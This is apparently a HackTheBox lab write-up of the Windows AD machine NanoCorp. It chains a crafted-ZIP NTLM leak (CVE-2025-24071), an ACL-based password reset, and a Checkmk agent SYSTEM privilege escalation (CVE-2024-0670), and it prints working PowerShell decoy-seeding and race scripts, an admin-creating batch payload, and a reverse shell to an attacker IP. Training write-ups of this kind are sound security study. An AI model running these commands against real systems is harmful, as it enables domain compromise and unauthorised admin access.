HTB: NanoCorp Writeup
NanoCorp - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | NanoCorp |
| OS | Windows |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.42.120 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐⭐☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
NanoCorp is a hard Windows Active Directory box chaining three distinct bug classes: a client-side NTLM hash leak in Explorer’s ZIP/.library-ms extraction handling (CVE-2025-24071), a BloodHound-mapped ACL abuse path that lets a low-priv service account reset a higher-privileged, Protected-Users-shielded account, and a local SYSTEM privesc in the Checkmk Windows agent (CVE-2024-0670) that abuses predictable, write-protectable temp-file names during an MSI repair. The Checkmk step is the real difficulty spike here — the vulnerable code path only fires from an interactive desktop session, requires racing a fresh SYSTEM process’s PID with a pre-seeded decoy file, and needed the seeded PID range widened from 12,000 to 40,000 before a decoy finally landed.
TL;DR: CVE-2025-24071 malicious ZIP upload → leak web_svc NTLMv2 hash to Responder → crack it → ACL abuse (web_svc self-adds to IT_Support → resets monitoring_svc password) → Kerberos-only WinRM as monitoring_svc (Protected Users, SSL/5986) → USER → CVE-2024-0670 Checkmk agent MSI-repair race with pre-seeded read-only cmk_all_<PID>_<ctr>.cmd decoys, triggered from an interactive web_svc session and forced by polling the agent’s port → SYSTEM adds svcadm to local Administrators → ROOT.
Reconnaissance
Port Scanning
Initial enumeration identified a standard Windows Domain Controller service footprint on 10.129.42.120: DNS (53), Kerberos (88), LDAP (389), SMB (445), and WinRM over SSL (5986) — consistent with dc01.nanocorp.htb / domain nanocorp.htb. Two HTTP virtual hosts were in scope: the main corporate site on nanocorp.htb, and a resume-upload portal on hire.nanocorp.htb that accepts ZIP files.
Service Enumeration
The hire.nanocorp.htb resume-upload form only accepts .zip archives, and the server appears to extract them — a classic entry point for archive-extraction NTLM-leak bugs on Windows.
Vulnerability Assessment
- ZIP upload + server-side extraction → CVE-2025-24071 (NTLM hash leak via
.library-msin Explorer’s ZIP handling). - WinRM restricted to SSL only (5986); 5985 closed by firewall policy.
- Localhost-only service on TCP 6556 discovered post-foothold → Checkmk monitoring agent → CVE-2024-0670.
Initial Foothold
CVE-2025-24071 — NTLM Leak via Crafted ZIP
Windows Explorer auto-processes a .library-ms file referencing a remote UNC path the moment a ZIP containing it is extracted, forcing the host to authenticate outbound over SMB. A crafted ZIP was uploaded through the hire.nanocorp.htb resume form pointing the embedded .library-ms at an attacker-controlled SMB listener. Because the jump box’s own port 445 was already occupied by another engagement’s Responder instance, the leaked NTLMv2 authentication for web_svc was pulled straight from its per-client capture log rather than running a second listener:
# Shared jump box — read Responder's existing per-target capture instead of fighting for :445cat /usr/share/responder/logs/SMB-NTLMv2-SSP-10.129.42.120.txtThe captured NANOCORP\web_svc NTLMv2-SSP hash was cracked offline:
john --wordlist=/usr/share/wordlists/rockyou.txt web_svc_hash# => dksehdgh712!@# (web_svc)ACL Abuse → monitoring_svc
BloodHound collection against web_svc:dksehdgh712!@# revealed web_svc could add itself to the IT_Support group, which in turn held delegated GenericAll/reset-password rights over the AD_MONITORING OU containing monitoring_svc:
# web_svc self-adds to IT_Support, then resets monitoring_svc's password via inherited OU delegationbloodyAD -u web_svc -p 'dksehdgh712!@#' --host dc01.nanocorp.htb add groupMember 'IT_Support' 'web_svc'bloodyAD --host dc01.nanocorp.htb -d nanocorp.htb -u web_svc -p 'dksehdgh712!@#' set password 'monitoring_svc' 'Password@123!'monitoring_svc sits in Protected Users, which strips NTLM authentication entirely — only Kerberos works. A TGT was requested and cached, then used to reach WinRM over SSL (5986 is the only open WinRM listener):
export KRB5CCNAME=/dev/shm/w/monitoring_svc.ccacheexport KRB5_CONFIG=/etc/krb5.confevil-winrm -i dc01.nanocorp.htb -S -r nanocorp.htbContrary to older writeups for this vuln class, no ly4k-style patch to evil-winrm.rb was needed — evil-winrm 3.9 already supports Kerberos auth combined with -S (SSL) natively. This yielded nanocorp\monitoring_svc and the USER FLAG.
Privilege Escalation
CVE-2024-0670 — Checkmk Agent Local Privesc
Local enumeration turned up a service bound to 127.0.0.1:6556 (PID 4696), identified as the Checkmk Windows monitoring agent, version 2.1.0p10 — vulnerable to CVE-2024-0670. The agent writes and executes per-check async-plugin batch files at predictable paths, C:\Windows\Temp\cmk_all_<PID>_<counter>.cmd, as SYSTEM, where <PID> is the PID of a freshly-spawned agent child process and <counter> is 0 or 1. If an attacker pre-places a read-only file at the exact name the agent is about to use, the agent’s own write is blocked by the read-only flag but it still executes the pre-existing file — as SYSTEM.
Step 1 — seed read-only decoys. A payload batch file was written that stamps a proof file and creates a new local admin:
@echo offwhoami > C:\proof_pe.txtnet user svcadm Adm1nP@ss2026 /addnet localgroup Administrators svcadm /addSeeded via base64-encoded PowerShell over WinRM (evil-winrm’s upload command is broken over the Kerberos+SSL transport — it reports success but the file never lands, so powershell -enc <base64 UTF-16LE> was used instead):
$payload = "@echo off`r`nwhoami > C:\proof_pe.txt`r`nnet user svcadm Adm1nP@ss2026 /add`r`nnet localgroup Administrators svcadm /add`r`n"foreach ($ctr in 0..1) { for ($num = 1; $num -le 12000; $num++) { $fp = "C:\Windows\Temp\cmk_all_$($num)_$($ctr).cmd" [System.IO.File]::WriteAllText($fp, $payload, [System.Text.Encoding]::ASCII) Set-ItemProperty -Path $fp -Name IsReadOnly -Value $true -EA SilentlyContinue }}First pass seeded 24,000 files across PIDs 1–12,000 (both counters) — insufficient; the real trigger process’s PID landed above that range. C:\Windows\Temp turned out to be write-only for low-priv users (files can be created but not listed or read with dir/Get-ChildItem/type), so success had to be verified out-of-band via the readable C:\proof_pe.txt marker.
Step 2 — trigger via interactive MSI repair. The vulnerable code path only fires from a genuine interactive desktop session — running msiexec /fa from a plain WinRM (session-0) shell did not reproduce it. web_svc had an existing session (session 2), so a renamed RunasCs binary staged at C:\Users\monitoring_svc\Documents\r.exe was used to pop an interactive reverse shell into it:
r.exe web_svc dksehdgh712!@# cmd.exe -r 10.10.15.180:4488 -l 2# [+] Running in session 0 with process function CreateProcessWithLogonW()# [+] Async process 'C:\Windows\system32\cmd.exe' with pid 7436 created in background.From that interactive web_svc shell, the Checkmk MSI (C:\Windows\Installer\1e6f2.msi) was repaired:
msiexec /fa C:\Windows\Installer\1e6f2.msi /qnAnalysis of the verbose repair log confirmed the target package:
Windows Installer reconfigured the product. Product Name: Check MK Agent 2.1.Product Version: 2.1.0.50010. Manufacturer: tribe29 GmbH.Reconfiguration success or error status: 1603.The repair itself “fails” (1603, rolled back) — that is expected and irrelevant; its real job is restarting CheckmkService, which non-admin users cannot do directly:
sc stop CheckmkService# [SC] OpenService FAILED 5: Access is denied.Step 3 — force the async plugin race. Restarting the service alone wasn’t enough to reliably reproduce the child-process spawn; the freshly-restarted agent had to actually be asked for data to spawn its async check plugins. This was forced by repeatedly connecting to 6556 right after the repair:
1..40 | % { try { $c = New-Object Net.Sockets.TcpClient('127.0.0.1',6556) $r = New-Object IO.StreamReader($c.GetStream()) while (($l = $r.ReadLine()) -ne $null) {} $c.Close() } catch {} Start-Sleep -Milliseconds 700}Step 4 — widen the seed range. With 1–12,000 confirmed a miss, decoys were re-seeded across 1–40,000, both counters (up to 80,000 candidate filenames):
SEEDED_WIDE=... (background job via /dev/shm/w/runseed.sh)Repeating the interactive msiexec /fa repair + 6556-poll sequence against the widened decoy set finally landed a hit:
netexec smb dc01.nanocorp.htb -u svcadm -p 'Adm1nP@ss2026' -k# SMB dc01.nanocorp.htb 445 DC01 [+] nanocorp.htb\svcadm:Adm1nP@ss2026 (Pwn3d!)SYSTEM had executed one of the seeded decoys, creating svcadm and adding it to local Administrators. Since svcadm is not in Protected Users, standard NTLM auth works:
evil-winrm -i dc01.nanocorp.htb -u svcadm -p 'Adm1nP@ss2026' -Stype C:\Users\Administrator\Desktop\root.txtROOT FLAG obtained.
Attack Chain Summary
CVE-2025-24071 malicious ZIP (hire.nanocorp.htb) → NTLMv2 hash leak (web_svc) via shared Responder capture → John crack → web_svc:dksehdgh712!@# → BloodHound: web_svc self-adds to IT_Support → resets monitoring_svc password → Kerberos TGT (Protected Users, NTLM blocked) → WinRM SSL/5986 → USER (monitoring_svc) → Enumerate localhost:6556 → Checkmk Agent 2.1.0p10 → CVE-2024-0670: seed read-only cmk_all_<PID>_<ctr>.cmd decoys (1..40000, both counters) → RunasCs interactive session as web_svc (session 2) → msiexec /fa repair → restarts CheckmkService → poll 6556 to force async plugin spawn → SYSTEM executes decoy → svcadm added to local Administrators → evil-winrm as svcadm (NTLM, not Protected Users) → ROOTTools Used
| Tool | Purpose |
|---|---|
nmap | Initial port/service discovery |
CVE-2025-24071 PoC (.library-ms ZIP generator) | Craft malicious resume ZIP to leak NTLM hash |
| Responder | Capture leaked NTLMv2-SSP authentication |
| John the Ripper | Crack captured NetNTLMv2 hash |
BloodHound / bloodyAD | Map and abuse AD ACL (self-add group, reset password) |
Impacket getTGT / klist / krb5.conf | Obtain and use Kerberos TGT for Protected Users account |
evil-winrm | Kerberos/SSL and NTLM WinRM shell access |
RunasCs (r.exe) | Spawn interactive-session reverse shell as web_svc |
| PowerShell (custom seed/poll scripts) | Seed read-only decoy .cmd files; force async plugin execution |
msiexec | Trigger vulnerable Checkmk repair/restart path |
NetExec (netexec) | Validate credentials, confirm local admin (Pwn3d!) |
| netcat | Catch interactive reverse shells for repair/poll sequencing |
Key Learnings
Techniques Practiced
- Exploiting Windows Explorer’s automatic UNC authentication via crafted
.library-msinside a ZIP (CVE-2025-24071) - Reading a shared jump box’s existing Responder capture instead of contending for a bound port
- BloodHound-driven ACL abuse chaining a self-group-add into an OU password-reset delegation
- Kerberos-only authentication workflow (TGT caching,
KRB5CCNAME, WinRM over SSL) for Protected Users accounts - Exploiting CVE-2024-0670 in the Checkmk Windows agent via read-only decoy batch files at predictable SYSTEM-executed paths
- Forcing a vulnerable interactive-session-only code path via RunasCs
-l <session>reverse shells - Working around write-only directories and a broken evil-winrm upload transport with base64-encoded PowerShell
Lessons Learned
- Archive-extraction features remain a live attack surface on Windows — CVE-2025-24071 shows Explorer will silently authenticate outbound to attacker infrastructure just from extracting a crafted ZIP.
- ACL misconfigurations compound: a low-value service account with a single group-self-add right became the path to a Protected-Users-shielded account.
- Protected Users blocks NTLM but not Kerberos — always retest failed NTLM auth with
-kbefore concluding an account is unreachable. - Race-condition SYSTEM privescs like CVE-2024-0670 can require far wider PID coverage than public PoCs suggest (12,000 was insufficient here; 40,000 was needed) — the PID belongs to a transient child process, not the listening service.
- Some vulnerable trigger paths only fire from a genuine interactive desktop session; a WinRM/session-0 shell alone won’t reproduce them — pivot into an existing user session with RunasCs.
- Don’t trust tool “success” output blindly —
evil-winrm uploadreported success over Kerberos+SSL while silently failing to deliver the file; verify via an independent, readable proof artifact.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- dotguy, “NanoCorp” — public HackTheBox writeup (Machine Author: EmSec). Used for CVE identification/explanatory context on CVE-2025-24071’s
.library-msZIP mechanism, the BloodHound ACL abuse path, the Protected Users/Kerberos-over-SSL WinRM requirement, and the general shape of CVE-2024-0670’s write-protected temp-batch-file abuse in the Checkmk agent. All IPs, credentials, PID ranges, log output, and command sequences in this writeup are from the author’s own solve, not the reference.